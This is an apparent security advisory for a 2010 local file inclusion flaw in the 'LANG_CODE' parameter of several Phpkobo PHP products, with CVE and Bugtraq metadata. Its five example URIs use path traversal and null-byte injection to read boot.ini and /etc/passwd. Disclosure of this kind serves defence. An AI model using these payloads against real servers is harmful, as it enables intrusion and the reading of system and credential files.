Phpkobo Multiple Products 'LANG_CODE' Parameter Local File Include Vulnerability

Bugtraq ID:	38731
Class:	Input Validation Error
CVE:	CVE-2010-1060 CVE-2010-1063 CVE-2010-1061 CVE-2010-1058 CVE-2010-1059 CVE-2010-1062 CVE-2010-1057
Remote:	Yes
Local:	No
Published:	Mar 15 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	ItSecTeam
Vulnerable:	Phpkobo Short URL 1.01 Phpkobo Real Estate Contact Form Script 1.09 Phpkobo AdFreely 1.01 Phpkobo Address Book Script 1.09
Not Vulnerable:

Phpkobo Multiple Products 'LANG_CODE' Parameter Local File Include Vulnerability

Attackers may exploit this issue through a browser.

The following example URIs are available:

http://www.example.com/web/codelib/cfg/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00
http://www.example.com/web/codelib/sys/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00
http://www.example.com/web/staff/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00
http://www.example.com/web/staff/file.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00
http://www.example.com/web/staff/app/common.inc.php?LANG_CODE=..//..//..//..//boot.ini%00 and /etc/passwd%00

Phpkobo Multiple Products 'LANG_CODE' Parameter Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Phpkobo Multiple Products 'LANG_CODE' Parameter Local File Include Vulnerability

References:

• Phpkobo Homepage (Phpkobo)